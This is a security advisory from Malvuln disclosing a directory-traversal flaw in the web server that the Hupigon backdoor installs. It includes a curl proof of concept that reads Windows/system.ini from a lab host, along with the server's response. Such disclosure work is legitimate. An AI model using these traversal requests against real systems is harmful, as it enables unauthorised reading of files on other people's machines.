Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/80b0fc8c0657c0ae7971f09af45c706b.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Hupigon.afjk Vulnerability: Directory Traversal Description: The malware deploys a Web server listening on TCP port 80. Third-party attackers who can reach an infected host can read any file on the system using "../" path traversal characters to break out of the web root dir. Type: PE32 MD5: 80b0fc8c0657c0ae7971f09af45c706b Vuln ID: MVID-2021-0374 Disclosure: 10/27/2021 Exploit/PoC: curl http://192.168.18.125/../../../../Windows/system.ini -v Connected to 192.168.18.125 (192.168.18.125) port 80 (#0) GET /Windows/system.ini HTTP/1.1 Host: 192.168.18.125 User-Agent: curl/7.55.1 Accept: */* HTTP/1.0 200 OK Server: dcs-http-server/1.0 Date: Thu, 06 Dec 2001 15:08:55 GMT Content-length: 219 ; for 16-bit app support [386Enh] woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll timer=timer.drv [mci] * Closing connection 0 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).